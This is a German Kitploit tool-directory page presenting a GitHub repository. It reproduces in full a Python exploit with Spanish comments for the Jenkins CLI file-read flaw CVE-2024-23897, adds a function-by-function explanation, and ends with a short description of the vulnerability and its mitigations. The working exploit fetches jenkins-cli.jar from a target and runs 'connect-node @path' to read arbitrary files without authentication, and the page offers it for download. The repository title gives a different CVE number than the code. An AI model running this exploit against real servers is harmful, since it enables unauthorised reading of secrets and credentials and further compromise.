Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/i-100-user/cve-2024-25897
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

Exploit, der Jenkins ausnutzt, geschrieben in Python

Repository anzeigen
2vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

banner

img1

Parameter ip , port , path

img2

Ausgabe des Exploits

img3

Hilfspanel

Erklärung des Exploits

Hier ist die Erklärung des Codes in Markdown:

Erklärung des Codes

Dieses Skript wurde entwickelt, um eine spezifische Schwachstelle in Jenkins (CVE-2024-23897) auszunutzen. Es ermöglicht das Herunterladen einer JAR-Datei von einem Jenkins-Server und die Ausführung eines Payloads, um einen Jenkins-Node zu verbinden. Im Folgenden wird jeder Teil des Codes erklärt:

Importieren von Modulen

root@kitploit:~
import argparse
import requests
import os
import subprocess
import sys
  • argparse: Zum Verarbeiten von Befehlszeilenargumenten.
  • requests: Zum Durchführen von HTTP-Anfragen.
  • os: Zur Interaktion mit dem Betriebssystem.
  • subprocess: Zum Ausführen von Systembefehlen.
  • sys: Zur Interaktion mit dem Python-Interpreter.

Funktion banner

root@kitploit:~
def banner():
    """
    Imprime un banner decorativo para la herramienta.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \| ___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

Esta función imprime un banner decorativo al inicio del script.

Funktion descargar_jar

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.

    Returns:
        bool: True si la descarga fue exitosa, False en caso contrario.
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
        return False

Esta función descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado por la dirección IP y el puerto. Si la descarga es exitosa, guarda el archivo en el sistema y devuelve True; de lo contrario, devuelve False.

Funktion attack_payload

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    Ejecuta el payload para conectar un nodo Jenkins.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.
        ruta (str): Ruta para leer el archivo.
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")

Esta función ejecuta un comando para conectar un nodo Jenkins utilizando el archivo jenkins-cli.jar. Después de ejecutar el comando, elimina el archivo JAR. Si hay un error en la ejecución, muestra un mensaje de error.

Funktion main

root@kitploit:~
def main():
    """
    Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
    """
    parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
    parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
    parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

La función principal del script:

  1. Analiza los argumentos de línea de comandos (ip, puerto, ruta).
  2. Llama a la función banner para imprimir el banner.
  3. Llama a la función descargar_jar para descargar el archivo JAR.
  4. Si la descarga es exitosa, llama a la función attack_payload para ejecutar el payload; si no, finaliza el script con un código de salida 1.

Ausführung des Skripts

root@kitploit:~
if __name__ == '__main__':
    main()

Dieser Block stellt sicher, dass die Funktion main nur ausgeführt wird, wenn das Skript direkt ausgeführt wird, nicht wenn es als Modul importiert wird.

Zusammenfassung

Dieses Skript ist ein Werkzeug zur Ausnutzung einer Schwachstelle in Jenkins. Es lädt eine JAR-Datei von einem Jenkins-Server herunter und verwendet diese Datei, um einen Payload auszuführen, der einen Jenkins-Node verbindet. Die erforderlichen Argumente (ip, puerto, ruta) werden über die Befehlszeile bereitgestellt.

Hier ist eine Liste der benötigten Bibliotheken zusammen mit den pip install-Befehlen für jede:

Benötigte Bibliotheken

  • argparse: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.

  • requests: Für HTTP-Anfragen.

    root@kitploit:~
    pip install requests
    
  • os: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.

  • subprocess: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.

  • sys: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.

Installation der Bibliotheken

root@kitploit:~
pip install requests

CVE-2024-23897 ist eine Schwachstelle in Jenkins, einem beliebten Tool für Automatisierung und CI/CD. Diese Schwachstelle betrifft Jenkins in den Versionen 2.441 und früher sowie die LTS-Versionen 2.426.2 und früher.

Beschreibung der Schwachstelle:

  • Betroffene Funktion: Jenkins CLI-Befehlsanalysator.
  • Problem: Es wird eine Funktion nicht deaktiviert, die es erlaubt, ein '@'-Zeichen gefolgt von einem Dateipfad in einem Argument durch den Inhalt dieser Datei zu ersetzen.
  • Auswirkung: Ermöglicht nicht authentifizierten Angreifern das Lesen beliebiger Dateien im Dateisystem des Jenkins-Controllers.
  • Risiko: Ein Angreifer kann auf sensible Informationen zugreifen, die auf dem Jenkins-Server gespeichert sind, was zu einer weiteren Kompromittierung des Systems führen könnte.

Beispiel für einen Angriff:

  1. Ein Angreifer sendet einen CLI-Befehl an Jenkins, der @/pfad/zur/datei enthält.
  2. Der Jenkins-Befehlsanalysator interpretiert @/pfad/zur/datei und ersetzt dieses Argument durch den Inhalt der angegebenen Datei.
  3. Der Angreifer erhält den Inhalt der Datei, ohne sich authentifizieren zu müssen.

Abhilfemaßnahmen:

  • Jenkins aktualisieren: Neuere Versionen installieren, die diese Schwachstelle behoben haben.
  • Sicherheitseinstellungen: Zugriff auf das Jenkins-CLI überprüfen und einschränken, sodass nur authentifizierte und vertrauenswürdige Benutzer diese Funktion nutzen können.

Das Aktualisieren und richtige Konfigurieren von Jenkins ist entscheidend, um das System vor dieser Schwachstelle zu schützen.

Python Linux Icon

Tool herunterladen